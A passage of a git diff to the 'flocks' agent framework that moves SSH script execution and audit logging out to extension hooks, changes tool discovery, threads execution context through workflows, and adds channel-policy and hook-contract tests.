script: {e}") - - if not script_content.strip(): - return ToolResult(success=False, output=None, error="Script file is empty.") - - # Safety scan - violations = _scan_script_safety(script_content) - if violations: - violation_list = "\n".join(violations) - return ToolResult( - success=False, - output=None, - error=( - f"Script safety scan FAILED — {len(violations)} dangerous operation(s) detected " - f"in '{script_path}':\n{violation_list}\n\n" - "Edit the script to remove destructive commands before running on a remote host." - ), - ) - - username, key_path, password = resolve_ssh_credentials(username, key_path, password) - timeout = min(max(10, timeout), MAX_TIMEOUT_S) - - script_label = resolved_path.name # e.g. "triage.sh" - log.debug(f"Loaded script '{script_label}' ({len(script_content)} bytes) for host {host}") - - try: - exit_code, stdout, stderr = await execute_ssh_command( - host=host, - command=script_content, - username=username, - port=port, - key_path=key_path, - password=password, - timeout_s=timeout, - session_id=ctx.session_id, - ) - except Exception as e: - elapsed = int(time.time() * 1000) - start_ms - audit_log( - session_id=ctx.session_id, - host=host, username=username, port=port, - command=f"[script:{script_label}]", - decision="ALLOWED", source="ssh_run_script", - exit_code=-1, output_bytes=0, elapsed_ms=elapsed, - ) - error_msg = ( - f"Script '{script_label}' timed out after {timeout}s" - if isinstance(e, asyncio.TimeoutError) - else f"SSH connection failed: {e}" - ) - return ToolResult(success=False, output=None, error=error_msg) - - elapsed = int(time.time() * 1000) - start_ms - raw_output = stdout - if stderr: - raw_output += f"\n[stderr]\n{stderr}" - - truncated_output, was_truncated = _truncate_output(raw_output) - sections = _extract_sections(truncated_output) - - audit_log( - session_id=ctx.session_id, - host=host, username=username, port=port, - command=f"[script:{script_label}]", - decision="ALLOWED", source="ssh_run_script", - exit_code=exit_code, - output_bytes=len(raw_output.encode()), - elapsed_ms=elapsed, + except (OSError, UnicodeError) as exc: + return ToolResult(success=False, error=f"Cannot read script: {exc}") + + return await execute_ssh_script_content( + ctx, + host=host, + script_content=script_content, + script_label=resolved_path.name, + username=username, + port=port, + key_path=key_path, + password=password, + timeout=timeout, + script_path=str(resolved_path), ) - summary_header = ( - f"=== SCRIPT EXECUTION SUMMARY ===\n" - f"Script: {script_label} | Host: {host} | User: {username} | Elapsed: {elapsed}ms\n" - f"Exit code: {exit_code} | Sections collected: {len([k for k in sections if k not in ('HEADER', '')])}\n" - ) - if was_truncated: - summary_header += f"[WARNING] Output was truncated to {MAX_OUTPUT_BYTES // 1024}KB\n" - summary_header += "\n=== FULL OUTPUT ===\n" - final_output = summary_header + truncated_output - - return ToolResult( - success=(exit_code == 0), - output=final_output, - error=None if exit_code == 0 else f"Script exited with code {exit_code} (partial output may still be useful)", - metadata={ - "host": host, - "username": username, - "port": port, - "script": script_label, - "script_path": str(resolved_path), - "exit_code": exit_code, - "elapsed_ms": elapsed, - "output_bytes_raw": len(raw_output.encode()), - "output_truncated": was_truncated, - "sections_collected": [k for k in sections if k not in ("HEADER", "")], - }, - ) +__all__ = ["execute_ssh_script_content", "ssh_run_script"] diff --git a/flocks/tool/security/ssh_utils.py b/flocks/tool/security/ssh_utils.py index 89406bdea..bebb9afb1 100644 --- a/flocks/tool/security/ssh_utils.py +++ b/flocks/tool/security/ssh_utils.py @@ -1,9 +1,8 @@ """ -Shared SSH utilities for host security tools. +Shared neutral SSH transport utilities. -Provides common SSH connection logic, credential resolution, -audit logging, and session-level connection pooling used by -both ssh_host_cmd and ssh_run_script tools. +Provides credential resolution, connection pooling, and command transport. +Security policy and audit semantics are implemented by FlocksPro extensions. """ import asyncio @@ -11,8 +10,6 @@ import time from collections import OrderedDict from dataclasses import dataclass -from datetime import datetime, timezone -from pathlib import Path from typing import Optional import asyncssh @@ -21,39 +18,6 @@ log = Log.create(service="tool.ssh_utils") -# --------------------------------------------------------------------------- -# Audit logging -# --------------------------------------------------------------------------- - -AUDIT_LOG_PATH = Path.home() / ".flocks" / "audit" / "ssh_commands.log" - - -def audit_log( - session_id: str, - host: str, - username: str, - port: int, - command: str, - decision: str, - source: str, - exit_code: Optional[int] = None, - output_bytes: int = 0, - elapsed_ms: int = 0, -) -> None: - """Append an audit record for an SSH command decision/execution.""" - AUDIT_LOG_PATH.parent.mkdir(parents=True, exist_ok=True) - ts = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ") - line = ( - f"[{ts}] session={session_id} host={host} user={username} port={port}\n" - f" cmd: {command}\n" - f" decision: {decision} | source: {source}\n" - f" exit_code: {exit_code if exit_code is not None else '-'}" - f" output_bytes: {output_bytes} elapsed_ms: {elapsed_ms}\n\n" - ) - with open(AUDIT_LOG_PATH, "a", encoding="utf-8") as f: - f.write(line) - - # --------------------------------------------------------------------------- # Session-level SSH connection pool # --------------------------------------------------------------------------- diff --git a/flocks/tool/system/tool_search.py b/flocks/tool/system/tool_search.py index 340bc51bc..9f096db19 100644 --- a/flocks/tool/system/tool_search.py +++ b/flocks/tool/system/tool_search.py @@ -1,8 +1,7 @@ """ Tool search / discovery helper. -Lets the model search available tools and immediately add the returned matches -to the current session's callable tool set. +Lets the model discover candidate tools and emit auditable discovery events. """ from __future__ import annotations @@ -18,14 +17,10 @@ ToolRegistry, ToolResult, ) -from flocks.session.callable_state import add_session_callable_tools - - DESCRIPTION = """Search available tools by task intent, keyword, category, or exact names. Use this tool when you need to discover a tool that is not already exposed in -the current turn. Search by user goal, capability, or keyword. Matching tools -returned here are added to the current session callable tool set immediately. +the current turn. Search by user goal, capability, or keyword. If you already know the needed tool names, prefer one exact batch query such as `select:websearch,webfetch,skill` instead of multiple separate searches. IMPORTANT: search query must be in English. @@ -133,8 +128,7 @@ async def tool_search( enriched.update(hint) enriched_matches.append(enriched) normalized_query = normalize_tool_search_query(query or "") - callable_candidates = [match["name"] for match in enriched_matches] - callable_tools = await add_session_callable_tools(ctx.session_id, callable_candidates) + discovered_tool_names = sorted({str(match["name"]) for match in enriched_matches}) if ctx.event_publish_callback: await ctx.event_publish_callback("runtime.tool_discovery", { "sessionID": ctx.session_id, @@ -142,8 +136,11 @@ async def tool_search( "normalizedQuery": normalized_query, "category": category, "returnedToolCount": len(matches), - "callableToolCount": len(callable_tools), - "callableToolNames": sorted(callable_candidates), + "discoveredToolCount": len(discovered_tool_names), + "discoveredToolNames": discovered_tool_names, + # Legacy aliases retained for existing consumers. + "callableToolCount": len(discovered_tool_names), + "callableToolNames": discovered_tool_names, "matchedTags": matched_tags, "deviceAwareToolCount": len(device_hints), }) @@ -156,12 +153,12 @@ async def tool_search( "category": category, "count": len(matches), "matchedTags": matched_tags, - "callableToolNames": sorted(callable_candidates), - "callableToolCount": len(callable_tools), + "callableToolNames": discovered_tool_names, + "callableToolCount": len(discovered_tool_names), "deviceAwareToolCount": len(device_hints), # Legacy compatibility keys. - "discoveredToolNames": sorted(callable_candidates), - "discoveredToolCount": len(callable_tools), + "discoveredToolNames": discovered_tool_names, + "discoveredToolCount": len(discovered_tool_names), "matches": enriched_matches, }, ) diff --git a/flocks/tool/task/run_workflow.py b/flocks/tool/task/run_workflow.py index a52ca2426..9b78e5123 100644 --- a/flocks/tool/task/run_workflow.py +++ b/flocks/tool/task/run_workflow.py @@ -141,7 +141,11 @@ def _resolve_workflow_display_name_and_total_nodes( return workflow_name, None -def _create_nested_tool_context(ctx: ToolContext) -> ToolContext: +def _create_nested_tool_context( + ctx: ToolContext, + *, + workflow_id: str | None = None, +) -> ToolContext: """Create an isolated child ToolContext for workflow node tools. Workflow execution itself should surface workflow-level progress via @@ -154,12 +158,28 @@ def _create_nested_tool_context(ctx: ToolContext) -> ToolContext: callback, while preserving permissions, event publishing, abort signal, and sandbox/session identity. """ + extra = dict(ctx.extra) + profile = ( + dict(extra.get("session_execution_profile")) + if isinstance(extra.get("session_execution_profile"), dict) + else {} + ) + if profile: + profile["entry"] = "workflow" + extra["session_execution_profile"] = profile + if workflow_id: + extra["workflow_context"] = { + "source": "run_workflow_tool", + "workflow_id": str(workflow_id), + "action_name": "run_workflow", + } + return ToolContext( session_id=ctx.session_id, message_id=ctx.message_id, agent=ctx.agent, call_id=ctx.call_id, - extra=dict(ctx.extra), + extra=extra, abort_event=ctx.abort, permission_callback=ctx._permission_callback, metadata_callback=None, @@ -780,7 +800,10 @@ async def _flush_pending_step() -> None: ) execution_started_at = time.time() - nested_tool_ctx = _create_nested_tool_context(ctx) + nested_tool_ctx = _create_nested_tool_context( + ctx, + workflow_id=display_workflow_id, + ) call_kwargs: Dict[str, Any] = { "workflow": workflow_source, "inputs": workflow_inputs, diff --git a/flocks/workflow/poller_manager.py b/flocks/workflow/poller_manager.py index a85aa3b48..9db0bdd4b 100644 --- a/flocks/workflow/poller_manager.py +++ b/flocks/workflow/poller_manager.py @@ -476,9 +476,9 @@ async def _execute_run( timeout_s=config["timeoutSeconds"], trace=False, execution_profile="high_frequency", + tool_context=tool_context, cancel=cancel_event.is_set, on_step_complete=step_recorder.on_step_complete, - tool_context=tool_context, ) if not isinstance(result, RunWorkflowResult): result = RunWorkflowResult(status="failed", error="invalid_run_result") diff --git a/flocks/workflow/service_runtime.py b/flocks/workflow/service_runtime.py index 3590342fb..493bef589 100644 --- a/flocks/workflow/service_runtime.py +++ b/flocks/workflow/service_runtime.py @@ -4,17 +4,25 @@ import argparse import asyncio +import hashlib import hmac import json import os import time from contextlib import asynccontextmanager +from pathlib import Path from typing import Any, Dict, Optional from fastapi import FastAPI, Header, HTTPException from fastapi.responses import JSONResponse from pydantic import BaseModel, Field +from flocks.hooks.execution import ( + ExecutionStopped, + current_execution_context, + execute_with_hooks, +) +from flocks.hooks.pipeline import HookPipeline from flocks.mcp import MCP, get_manager from flocks.utils.log import Log from flocks.workflow.runner import RunWorkflowResult, run_workflow @@ -24,6 +32,24 @@ _SERVICE_API_KEY_ENV = "FLOCKS_WORKFLOW_SERVICE_API_KEY" +def api_key_fingerprint(api_key: str) -> str: + """Return the secret-safe stable ID emitted for a validated service key.""" + return f"sha256:{hashlib.sha256(api_key.encode('utf-8')).hexdigest()}" + + +def _load_runtime_plugins() -> str | None: + """Load generic plugins, returning only a generic critical error marker.""" + try: + from flocks.plugin import PluginLoader + + result = PluginLoader.load_all(project_dir=Path.cwd()) + if result.has_critical_entrypoint_failure: + return "critical plugin entrypoint failure" + except Exception as exc: + log.warning("workflow_service.plugins.load_failed", {"error": str(exc)}) + return None + + class InvokeRequest(BaseModel): """Request payload for workflow invoke.""" @@ -46,13 +72,17 @@ def create_service_app( async def lifespan(_app: FastAPI): _app.state.mcp_ready = False _app.state.mcp_error = None - try: - await MCP.init() - except Exception as exc: - _app.state.mcp_error = str(exc) - log.warning("workflow_service.mcp.init_failed", {"error": str(exc)}) + critical_plugin_error = _load_runtime_plugins() + if critical_plugin_error is not None: + _app.state.mcp_error = critical_plugin_error else: - _app.state.mcp_ready = True + try: + await MCP.init() + except Exception as exc: + _app.state.mcp_error = str(exc) + log.warning("workflow_service.mcp.init_failed", {"error": str(exc)}) + else: + _app.state.mcp_ready = True try: yield finally: @@ -106,18 +136,48 @@ async def invoke( ) try: - tool_context = await build_workflow_tool_context( - workflow_id=app.state.workflow_id, - action_name="invoke", - ) - result: RunWorkflowResult = await asyncio.to_thread( - run_workflow, - workflow=app.state.workflow_json, - inputs=req.inputs, - timeout_s=req.timeout_s, - trace=req.trace, - ensure_requirements=req.ensure_requirements, - tool_context=tool_context, + async def _effect() -> RunWorkflowResult: + context_kwargs: dict[str, Any] = {} + execution_context = current_execution_context() + if execution_context: + context_kwargs["execution_context"] = execution_context + tool_context = await build_workflow_tool_context( + workflow_id=app.state.workflow_id, + action_name="invoke", + **context_kwargs, + ) + return await asyncio.to_thread( + run_workflow, + workflow=app.state.workflow_json, + inputs=req.inputs, + timeout_s=req.timeout_s, + trace=req.trace, + ensure_requirements=req.ensure_requirements, + tool_context=tool_context, + ) + + action_payload = { + "operation": "workflow.service.invoke", + "workflow_id": app.state.workflow_id, + "release_id": app.state.release_id, + "inputs": req.inputs, + } + ingress_payload = { + **action_payload, + "transport": "headless", + "entry": "workflow_service", + } + if expected_api_key: + ingress_payload["evidence"] = { + "auth_scheme": "api_key", + "api_key_id": api_key_fingerprint(str(expected_api_key)), + } + + result = await execute_with_hooks( + ingress_payload, + lambda: execute_with_hooks(action_payload, _effect), + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, ) return { "request_id": req.request_id, @@ -129,6 +189,11 @@ async def invoke( "error": result.error, "duration_ms": int((time.time() - started) * 1000), } + except ExecutionStopped as exc: + raise HTTPException( + status_code=403, + detail="Workflow invocation stopped by extension", + ) from exc except Exception as exc: raise HTTPException( status_code=500, diff --git a/flocks/workflow/tool_context.py b/flocks/workflow/tool_context.py index b803f9810..0851d8e7d 100644 --- a/flocks/workflow/tool_context.py +++ b/flocks/workflow/tool_context.py @@ -2,7 +2,7 @@ from __future__ import annotations -from collections.abc import Awaitable, Callable +from collections.abc import Awaitable, Callable, Mapping import os from typing import Any, Optional @@ -10,6 +10,10 @@ from flocks.session.message import Message, MessageRole from flocks.session.session import Session +from flocks.session.execution_profile import ( + get_session_execution_profile, + upsert_session_execution_profile, +) from flocks.tool import ToolContext from flocks.utils.log import Log from flocks.workflow.fs_store import find_workspace_root @@ -25,6 +29,7 @@ async def build_workflow_tool_context( message_id: Optional[str] = None, agent: Optional[str] = None, event_publish_callback: Optional[Callable[[str, dict[str, Any]], Awaitable[None]]] = None, + execution_context: Mapping[str, Any] | None = None, ) -> ToolContext: """Build a real ToolContext for workflow execution. @@ -89,16 +94,60 @@ async def build_workflow_tool_context( ) effective_message_id = message.id + try: + # Workflow runtime carries provenance metadata only; mode resolution is + # fully Pro-owned. + from flocks.hooks.pipeline import HookPipeline + + await upsert_session_execution_profile( + effective_session_id, + patch={ + "entry": "workflow", + "default_agent": effective_agent or "rex", + }, + source="workflow.runtime.tool_context", + ) + profile = await get_session_execution_profile(effective_session_id) + await HookPipeline.run_action_before( + { + "operation": "session.mode.initialize", + "session_id": effective_session_id, + "entry": "workflow", + "workflow_context": { + "source": "workflow_runtime", + "workflow_id": workflow_id, + "action_name": action_name, + }, + "session_execution_profile": profile or {}, + } + ) + except Exception: + pass + session_profile = await get_session_execution_profile(effective_session_id) + + extra = { + "workspace_dir": workspace_dir, + "main_session_key": effective_session_id, + "workflow_temp_parent": created_temp_parent, + "session_execution_profile": session_profile or {}, + "workflow_context": { + "source": "workflow_runtime", + "workflow_id": workflow_id, + "action_name": action_name, + }, + } + if isinstance(execution_context, Mapping): + # Generic opaque context transport for nested workflow work. No OSS + # component interprets this carrier as identity, authorization, or + # permission information. + extra["execution_context"] = dict(execution_context) + return ToolContext( session_id=effective_session_id, message_id=effective_message_id, agent=effective_agent or "rex", event_publish_callback=event_publish_callback, - extra={ - "workspace_dir": workspace_dir, - "main_session_key": effective_session_id, - "workflow_temp_parent": created_temp_parent, - }, + extra=extra, ) diff --git a/flocks/workflow/tools_adapter.py b/flocks/workflow/tools_adapter.py index 80c8bd06d..bc45c0b77 100644 --- a/flocks/workflow/tools_adapter.py +++ b/flocks/workflow/tools_adapter.py @@ -6,8 +6,9 @@ import copy import json as _json from concurrent.futures import TimeoutError as _FuturesTimeoutError -from typing import Any, Callable, Dict, List, Optional +from typing import Any, Callable, Dict, List, Mapping, Optional +from flocks.hooks.execution import current_execution_context from flocks.tool import ToolContext, ToolRegistry, ToolResult from flocks.workflow.errors import NodeExecutionError, RunCancelledError from flocks.workflow._async_runtime import ( @@ -46,6 +47,26 @@ def with_cancel_checker( scoped.cancel_checker = cancel_checker return scoped + def _tool_context(self) -> ToolContext: + """Return workflow context with any neutral parent carrier preserved.""" + if self._ctx is None: + return ToolContext(session_id="workflow", message_id="workflow") + existing = self._ctx.extra.get("execution_context") + inherited = current_execution_context() + if isinstance(existing, Mapping) or not inherited: + return self._ctx + return ToolContext( + session_id=self._ctx.session_id, + message_id=self._ctx.message_id, + agent=self._ctx.agent, + call_id=self._ctx.call_id, + extra={**self._ctx.extra, "execution_context": inherited}, + abort_event=self._ctx.abort, + permission_callback=self._ctx._permission_callback, + metadata_callback=self._ctx._metadata_callback, + event_publish_callback=self._ctx.event_publish_callback, + ) + def _execute_tool_async(self, name: str, ctx: ToolContext, kwargs: Dict[str, Any]) -> ToolResult: """ Execute an async tool from a sync context safely. @@ -74,7 +95,7 @@ def run(self, name: str, /, **kwargs: Any) -> Any: if tool is None: raise NodeExecutionError(node_id="", message=f"Tool not found: {name!r}") - ctx = self._ctx or ToolContext(session_id="workflow", message_id="workflow") + ctx = self._tool_context() try: if self.cancel_checker is not None and self.cancel_checker(): raise RunCancelledError("") diff --git a/flocks/workflow/triggers/runtime.py b/flocks/workflow/triggers/runtime.py index 7230bf0e2..51419a0de 100644 --- a/flocks/workflow/triggers/runtime.py +++ b/flocks/workflow/triggers/runtime.py @@ -7,6 +7,8 @@ import time from typing import Any, Dict, List, Optional, Tuple +from flocks.hooks.execution import current_execution_context, execute_with_hooks +from flocks.hooks.pipeline import HookPipeline from flocks.utils.log import Log from flocks.workflow.execution_store import ( compact_history_for_storage, @@ -215,6 +217,39 @@ async def _execute_workflow( workflow_json: Dict[str, Any], trigger: TriggerDefinition, mapped_inputs: Dict[str, Any], + ) -> Dict[str, Any]: + action_payload = { + "operation": "workflow.trigger.execute", + "workflow_id": workflow_id, + "trigger": trigger, + "inputs": mapped_inputs, + } + return await execute_with_hooks( + { + **action_payload, + "transport": "headless", + "entry": "workflow_trigger", + }, + lambda: execute_with_hooks( + action_payload, + lambda: self._execute_workflow_effect( + workflow_id=workflow_id, + workflow_json=workflow_json, + trigger=trigger, + mapped_inputs=mapped_inputs, + ), + ), + before=HookPipeline.run_ingress_before, + after=HookPipeline.run_ingress_after, + ) + + async def _execute_workflow_effect( + self, + *, + workflow_id: str, + workflow_json: Dict[str, Any], + trigger: TriggerDefinition, + mapped_inputs: Dict[str, Any], ) -> Dict[str, Any]: exec_data = await create_execution_record( workflow_id, @@ -224,9 +259,14 @@ async def _execute_workflow( started_at = time.time() tool_context = None try: + context_kwargs: dict[str, Any] = {} + execution_context = current_execution_context() + if execution_context: + context_kwargs["execution_context"] = execution_context tool_context = await build_workflow_tool_context( workflow_id=workflow_id, action_name=f"trigger:{trigger.type}", + **context_kwargs, ) result = await asyncio.to_thread( run_workflow, diff --git a/scripts/install.sh b/scripts/install.sh index 35780c3dc..3641a22e9 100644 --- a/scripts/install.sh +++ b/scripts/install.sh @@ -973,7 +973,6 @@ detect_system_browser_path() { local mac_browser for mac_browser in \ "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" \ - "/Applications/Google Chrome Canary.app/Contents/MacOS/Google Chrome Canary" \ "/Applications/Chromium.app/Contents/MacOS/Chromium"; do if [[ -x "$mac_browser" ]]; then printf '%s' "$mac_browser" diff --git a/tests/channel/test_channel.py b/tests/channel/test_channel.py index ecf2e380c..eb5f14bfa 100644 --- a/tests/channel/test_channel.py +++ b/tests/channel/test_channel.py @@ -200,6 +200,7 @@ def test_channel_config_defaults(self): assert cfg.enabled is False assert cfg.group_trigger == "mention" assert cfg.default_agent is None + assert not hasattr(cfg, "permission_mode") def test_channel_config_extra_fields(self): cfg = ChannelConfig(enabled=True, appId="abc", appSecret="xyz") @@ -633,6 +634,21 @@ async def fake_deliver(ctx, session_id=None): monkeypatch.setattr("flocks.session.session.Session.create", create_mock) update_mock = AsyncMock(return_value=None) monkeypatch.setattr("flocks.session.session.Session.update", update_mock) + profile_upsert = AsyncMock(return_value=None) + profile_get = AsyncMock(return_value={"entry": "channel", "revision": 1}) + mode_init = AsyncMock(return_value=SimpleNamespace(output={})) + monkeypatch.setattr( + "flocks.session.execution_profile.upsert_session_execution_profile", + profile_upsert, + ) + monkeypatch.setattr( + "flocks.session.execution_profile.get_session_execution_profile", + profile_get, + ) + monkeypatch.setattr( + "flocks.hooks.pipeline.HookPipeline.run_action_before", + mode_init, + ) handled = await dispatcher._handle_feishu_native_command( binding=binding, @@ -652,6 +668,14 @@ async def fake_deliver(ctx, session_id=None): assert "已开始全新对话。" in delivered[0] # Starting a new conversation must not archive the previous session. update_mock.assert_not_awaited() + profile_upsert.assert_awaited_once() + assert profile_upsert.await_args.args[0] == "session_new" + assert profile_upsert.await_args.kwargs["patch"]["entry"] == "channel" + assert profile_upsert.await_args.kwargs["patch"]["channel_id"] == "feishu" + assert profile_upsert.await_args.kwargs["patch"]["account_id"] == "default" + mode_init.assert_awaited_once() + assert mode_init.await_args.args[0]["operation"] == "session.mode.initialize" + assert mode_init.await_args.args[0]["entry"] == "channel" @pytest.mark.asyncio async def test_new_command_inherits_auto_model_mode(self, monkeypatch): @@ -1772,6 +1796,186 @@ def test_sanitize_filename_removes_path_separators(self): assert sanitize_filename("../report.bin") == "report.bin" +class TestChannelPolicySecurityConfig: + @pytest.mark.asyncio + async def test_dispatch_builds_default_channel_policy_on_cold_start( + self, monkeypatch + ): + from flocks.channel.inbound.dispatcher import ( + InboundDispatcher, + _channel_config_cache, + ) + from flocks.config.config import ChannelConfig + + dispatcher = InboundDispatcher() + _channel_config_cache.clear() + captured_payload: dict[str, object] = {} + + async def fake_execute_with_hooks(payload, _effect, before=None, after=None): + captured_payload.update(payload) + return None + + monkeypatch.setattr( + "flocks.hooks.execution.execute_with_hooks", + fake_execute_with_hooks, + ) + monkeypatch.setattr( + InboundDispatcher, + "_get_channel_config", + staticmethod(AsyncMock(return_value=ChannelConfig())), + ) + + await dispatcher.dispatch( + InboundMessage( + channel_id="feishu", + account_id="default", + message_id="msg_1", + sender_id="ou_user", + chat_id="ou_user", + chat_type=ChatType.DIRECT, + text="hello", + raw={"event": "verified"}, + ) + ) + + policy = captured_payload.get("channel_policy") + assert isinstance(policy, dict) + assert "permission_mode" not in policy + assert policy["visible_agents"] == [] + + @pytest.mark.asyncio + async def test_dispatch_loads_channel_policy_from_config_on_cold_start( + self, monkeypatch + ): + from flocks.channel.inbound.dispatcher import ( + InboundDispatcher, + _channel_config_cache, + ) + + dispatcher = InboundDispatcher() + _channel_config_cache.clear() + captured_payload: dict[str, object] = {} + + async def fake_execute_with_hooks(payload, _effect, before=None, after=None): + captured_payload.update(payload) + return None + + monkeypatch.setattr( + "flocks.hooks.execution.execute_with_hooks", + fake_execute_with_hooks, + ) + monkeypatch.setattr( + InboundDispatcher, + "_get_channel_config", + staticmethod( + AsyncMock( + return_value=ChannelConfig( + default_agent="ops-agent", + visible_agents=["ops-agent", "qa-agent"], + ) + ) + ), + ) + + await dispatcher.dispatch( + InboundMessage( + channel_id="feishu", + account_id="default", + message_id="msg_admin_1", + sender_id="ou_admin", + chat_id="ou_admin", + chat_type=ChatType.DIRECT, + text="hello", + raw={"event": "verified"}, + ) + ) + + policy = captured_payload.get("channel_policy") + assert isinstance(policy, dict) + assert "permission_mode" not in policy + assert policy["default_agent"] == "ops-agent" + assert policy["visible_agents"] == ["ops-agent", "qa-agent"] + + @pytest.mark.asyncio + async def test_get_channel_config_force_refresh_bypasses_fresh_cache( + self, monkeypatch + ): + from flocks.channel.inbound.dispatcher import ( + InboundDispatcher, + _CachedConfig, + _channel_config_cache, + ) + + _channel_config_cache.clear() + _channel_config_cache["weixin"] = _CachedConfig( + ChannelConfig(permission_mode="auto-allow-all") + ) + + fake_config = SimpleNamespace( + get_channel_config=lambda _channel_id: ChannelConfig(permission_mode="readonly") + ) + monkeypatch.setattr( + "flocks.config.config.Config.get", + AsyncMock(return_value=fake_config), + ) + + cached = await InboundDispatcher._get_channel_config("weixin") + refreshed = await InboundDispatcher._get_channel_config( + "weixin", + force_refresh=True, + ) + + assert cached.permission_mode == "auto-allow-all" + assert refreshed.permission_mode == "readonly" + assert _channel_config_cache["weixin"].config.permission_mode == "readonly" + + @pytest.mark.asyncio + async def test_session_binding_enforces_visible_agents_for_existing_binding( + self, monkeypatch, tmp_path + ): + from flocks.channel.inbound.session_binding import ( + SessionBindingService, + close_binding_db, + ) + from flocks.storage.storage import Storage + + await Storage.init(tmp_path / "channel-binding-visible-agent.db") + monkeypatch.setattr( + "flocks.session.session.Session.create", + AsyncMock(return_value=SimpleNamespace(id="session_1")), + ) + monkeypatch.setattr( + "flocks.session.session.Session.get_by_id", + AsyncMock(return_value=SimpleNamespace(id="session_1")), + ) + service = SessionBindingService() + msg = InboundMessage( + channel_id="feishu", + account_id="default", + message_id="msg_1", + sender_id="ou_user", + chat_id="ou_user", + chat_type=ChatType.DIRECT, + text="hello", + ) + + try: + created = await service.resolve_or_create( + msg, + default_agent="legacy-agent", + ) + assert created.agent_id == "legacy-agent" + + rebound = await service.resolve_or_create( + msg, + default_agent="security-agent", + visible_agents=["security-agent", "assistant-agent"], + ) + assert rebound.agent_id == "security-agent" + finally: + await close_binding_db() + + # ------------------------------------------------------------------ # Per-channel inbound media downloader routing # ------------------------------------------------------------------ diff --git a/tests/channel/test_feishu.py b/tests/channel/test_feishu.py index 7d63b5b6e..9d60c68fd 100644 --- a/tests/channel/test_feishu.py +++ b/tests/channel/test_feishu.py @@ -381,6 +381,30 @@ async def test_handle_webhook_invalid_timestamp_returns_status_code() -> None: assert result == {"error": "invalid timestamp", "status_code": 400} +@pytest.mark.asyncio +async def test_webhook_authentication_evidence_reflects_platform_verification() -> None: + """The neutral route hook receives evidence, not a policy decision.""" + channel = FeishuChannel() + channel._config = { + "connectionMode": "webhook", + "verificationToken": "main-token", + "appId": "main-id", + "appSecret": "main-secret", + } + valid_body = json.dumps({"token": "main-token", "event": {}}).encode("utf-8") + invalid_body = json.dumps({"token": "wrong-token", "event": {}}).encode("utf-8") + + assert await channel.webhook_authentication_evidence(valid_body, {}) == { + "plugin_authenticated": True, + "provider": "feishu", + "replay_protection": "plugin_dedup", + } + assert await channel.webhook_authentication_evidence(invalid_body, {}) == { + "plugin_authenticated": False, + "provider": "feishu", + } + + @pytest.mark.asyncio async def test_channel_route_uses_plugin_status_code(monkeypatch) -> None: from flocks.server.routes.channel import channel_webhook diff --git a/tests/channel/test_unified_prompt_context.py b/tests/channel/test_unified_prompt_context.py index b1c105b41..06e8f0ee2 100644 --- a/tests/channel/test_unified_prompt_context.py +++ b/tests/channel/test_unified_prompt_context.py @@ -231,7 +231,7 @@ async def _fake_create(**kwargs): class TestChannelSessionOwnerPropagation: @pytest.mark.asyncio - async def test_create_session_assigns_local_admin_owner(self): + async def test_create_session_does_not_assign_unrelated_local_admin_owner(self): captured = {} class _StubSession: @@ -241,11 +241,9 @@ async def _fake_create(**kwargs): captured.update(kwargs) return _StubSession() - admin = SimpleNamespace(id="usr_admin", username="admin", role="admin") - with patch("flocks.session.session.Session.create", new=_fake_create), \ patch("flocks.auth.service.AuthService.has_users", new=AsyncMock(return_value=True)), \ - patch("flocks.auth.service.AuthService.list_users", new=AsyncMock(return_value=[admin])): + patch("flocks.auth.service.AuthService.list_users", new=AsyncMock()) as list_users: sid = await SessionBindingService._create_session( _msg(), default_agent="rex", @@ -253,8 +251,9 @@ async def _fake_create(**kwargs): ) assert sid == "ses_admin_owned" - assert captured["owner_user_id"] == "usr_admin" - assert captured["owner_username"] == "admin" + assert "owner_user_id" not in captured + assert "owner_username" not in captured + list_users.assert_not_awaited() @pytest.mark.asyncio async def test_create_session_uses_system_owner_without_local_accounts(self): diff --git a/tests/hooks/test_command_execution_hook_contract.py b/tests/hooks/test_command_execution_hook_contract.py new file mode 100644 index 000000000..4058e8d14 --- /dev/null +++ b/tests/hooks/test_command_execution_hook_contract.py @@ -0,0 +1,142 @@ +from __future__ import annotations + +from typing import Any + +import pytest + +from flocks.hooks.pipeline import HookBase, HookContext, HookPipeline +from flocks.tool.registry import ( + ParameterType, + Tool, + ToolCategory, + ToolContext, + ToolInfo, + ToolParameter, + ToolResult, +) + + +@pytest.fixture(autouse=True) +def _reset_hooks() -> None: + HookPipeline.reset() + HookPipeline._initialized = True + yield + HookPipeline.reset() + + +_COMMAND_CASES = ( + ( + "bash", + {"command": "git status", "workdir": "/tmp/work"}, + ), + ( + "ssh_host_cmd", + {"host": "host-a", "command": "uname -a", "password": "opaque-secret"}, + ), + ( + "ssh_run_script", + {"host": "host-a", "script_path": "/tmp/triage.sh"}, + ), +) + + +def _tool(name: str, arguments: dict[str, Any], calls: list[dict[str, Any]]) -> Tool: + async def handler(_ctx: ToolContext, **kwargs: Any) -> ToolResult: + calls.append(kwargs) + return ToolResult(success=True, output="ok") + + return Tool( + info=ToolInfo( + name=name, + description=f"{name} hook contract", + category=ToolCategory.TERMINAL, + parameters=[ + ToolParameter( + name=key, + type=( + ParameterType.INTEGER + if isinstance(value, int) + else ParameterType.STRING + ), + ) + for key, value in arguments.items() + ], + ), + handler=handler, + ) + + +@pytest.mark.asyncio +@pytest.mark.parametrize(("name", "arguments"), _COMMAND_CASES) +async def test_command_family_reaches_neutral_action_hook_with_raw_arguments( + name: str, + arguments: dict[str, Any], +) -> None: + observed: list[dict[str, Any]] = [] + calls: list[dict[str, Any]] = [] + + class Recorder(HookBase): + async def action_before(self, ctx) -> None: # noqa: ANN001 + observed.append(dict(ctx.input)) + + HookPipeline.register("command-contract-recorder", Recorder()) + result = await _tool(name, arguments, calls).execute( + ToolContext( + session_id="session-1", + message_id="message-1", + agent="rex", + extra={"opaque": "carrier"}, + ), + **arguments, + ) + + assert result.success is True + assert calls == [arguments] + assert observed[0]["operation"] == "tool.execute" + assert observed[0]["tool"] == {"name": name, "input": arguments} + assert observed[0]["tool_context_extra"] == {"opaque": "carrier"} + + +@pytest.mark.asyncio +@pytest.mark.parametrize(("name", "arguments"), _COMMAND_CASES) +async def test_command_family_behavior_is_unchanged_without_extensions( + name: str, + arguments: dict[str, Any], +) -> None: + calls: list[dict[str, Any]] = [] + + result = await _tool(name, arguments, calls).execute( + ToolContext(session_id="session-1", message_id="message-1"), + **arguments, + ) + + assert result.success is True + assert result.output == "ok" + assert calls == [arguments] + + +@pytest.mark.asyncio +async def 